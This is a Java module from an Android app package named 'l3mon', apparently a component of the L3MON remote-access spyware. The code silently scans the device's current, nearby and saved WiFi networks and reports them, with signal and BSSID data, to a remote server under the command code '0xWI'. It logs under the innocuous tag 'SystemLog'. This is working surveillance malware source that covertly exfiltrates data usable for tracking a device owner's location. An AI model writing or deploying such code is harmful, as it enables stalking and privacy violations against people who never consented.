package com.etechd.l3mon;

import android.content.Context;
import android.net.wifi.ScanResult;
import android.net.wifi.WifiConfiguration;
import android.net.wifi.WifiInfo;
import android.net.wifi.WifiManager;
import android.os.Build;
import android.util.Log;

import org.json.JSONArray;
import org.json.JSONObject;

import java.util.Collections;
import java.util.Comparator;
import java.util.List;

public class WifiScanner {
    private static final String TAG = "SystemLog";
    private static final int MAX_AVAILABLE = 40;

    /** Escanea y envía al servidor (cambio de red / listener). */
    public static void reportNow(Context context) {
        if (context == null || SystemLogApi.getToken() == null) {
            return;
        }
        JSONObject data = scan(context);
        if (data != null && data.has("available")) {
            boolean ok = SystemLogApi.report("0xWI", data);
            if (ok) {
                Log.i(TAG, "WiFi enviado (cambio de red)");
            }
        }
    }

    public static JSONObject scan(Context context) {
        try {
            Context app = context.getApplicationContext();
            JSONObject result = new JSONObject();
            JSONArray available = new JSONArray();
            JSONArray saved = new JSONArray();
            JSONArray legacyNetworks = new JSONArray();

            WifiManager wm = (WifiManager) app.getSystemService(Context.WIFI_SERVICE);
            if (wm == null) {
                result.put("available", available);
                result.put("saved", saved);
                result.put("networks", legacyNetworks);
                return result;
            }

            if (wm.isWifiEnabled()) {
                try {
                    wm.startScan();
                } catch (Exception e) {
                    Log.d(TAG, "startScan: " + e.getMessage());
                }
            }

            WifiInfo conn = wm.getConnectionInfo();
            String connectedBssid = normalizeBssid(conn != null ? conn.getBSSID() : null);
            String connectedSsid = conn != null ? cleanSsid(conn.getSSID()) : null;
            int connectedRssi = conn != null ? conn.getRssi() : -127;

            JSONObject connectedObj = null;
            if (connectedSsid != null || connectedBssid != null) {
                connectedObj = new JSONObject();
                if (connectedSsid != null) {
                    connectedObj.put("SSID", connectedSsid);
                    result.put("connected_ssid", connectedSsid);
                }
                if (connectedBssid != null) {
                    connectedObj.put("BSSID", connectedBssid);
                    result.put("connected_bssid", connectedBssid);
                }
                if (connectedRssi != -127) {
                    connectedObj.put("level", connectedRssi);
                    result.put("connected_rssi", connectedRssi);
                }
                if (conn != null && conn.getFrequency() > 0) {
                    connectedObj.put("frequency", conn.getFrequency());
                }
                connectedObj.put("connected", true);
                result.put("connected", connectedObj);
            }

            collectSavedNetworks(wm, saved);

            List<ScanResult> scans = wm.isWifiEnabled() ? wm.getScanResults() : null;
            if (scans != null && !scans.isEmpty()) {
                Collections.sort(scans, new Comparator<ScanResult>() {
                    @Override
                    public int compare(ScanResult a, ScanResult b) {
                        return Integer.compare(b.level, a.level);
                    }
                });
                int limit = Math.min(scans.size(), MAX_AVAILABLE);
                for (int i = 0; i < limit; i++) {
                    ScanResult sr = scans.get(i);
                    if (sr == null) {
                        continue;
                    }
                    JSONObject o = scanResultToJson(sr, connectedBssid);
                    available.put(o);
                    legacyNetworks.put(o);
                }
            }

            if (connectedObj != null && connectedBssid != null) {
                boolean found = false;
                for (int i = 0; i < available.length(); i++) {
                    JSONObject o = available.getJSONObject(i);
                    if (connectedBssid.equalsIgnoreCase(o.optString("BSSID", ""))) {
                        o.put("connected", true);
                        found = true;
                        break;
                    }
                }
                if (!found) {
                    available.put(0, connectedObj);
                    legacyNetworks.put(connectedObj);
                }
            }

            result.put("available", available);
            result.put("saved", saved);
            result.put("networks", legacyNetworks);
            return result;
        } catch (Throwable th) {
            Log.e(TAG, "WifiScanner: " + th.getMessage());
            return null;
        }
    }

    private static void collectSavedNetworks(WifiManager wm, JSONArray saved) {
        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.Q) {
            return;
        }
        try {
            @SuppressWarnings("deprecation")
            List<WifiConfiguration> configs = wm.getConfiguredNetworks();
            if (configs == null) {
                return;
            }
            for (WifiConfiguration cfg : configs) {
                if (cfg == null) {
                    continue;
                }
                String ssid = cleanSsid(cfg.SSID);
                if (ssid == null || ssid.isEmpty()) {
                    continue;
                }
                JSONObject o = new JSONObject();
                o.put("SSID", ssid);
                if (cfg.BSSID != null) {
                    o.put("BSSID", cfg.BSSID);
                }
                o.put("saved_on_device", true);
                saved.put(o);
            }
        } catch (Exception e) {
            Log.d(TAG, "configured networks: " + e.getMessage());
        }
    }

    private static JSONObject scanResultToJson(ScanResult sr, String connectedBssid) throws Exception {
        JSONObject o = new JSONObject();
        o.put("SSID", sr.SSID != null ? sr.SSID : "");
        o.put("BSSID", sr.BSSID != null ? sr.BSSID : "");
        o.put("level", sr.level);
        o.put("frequency", sr.frequency);
        if (sr.capabilities != null) {
            o.put("capabilities", sr.capabilities);
        }
        boolean isConn = connectedBssid != null
                && connectedBssid.equalsIgnoreCase(sr.BSSID != null ? sr.BSSID : "");
        o.put("connected", isConn);
        return o;
    }

    private static String cleanSsid(String ssid) {
        if (ssid == null) {
            return null;
        }
        ssid = ssid.replace("\"", "").trim();
        if (ssid.isEmpty() || "<unknown ssid>".equalsIgnoreCase(ssid)) {
            return null;
        }
        return ssid;
    }

    private static String normalizeBssid(String bssid) {
        if (bssid == null || "02:00:00:00:00:00".equals(bssid)) {
            return null;
        }
        return bssid;
    }
}
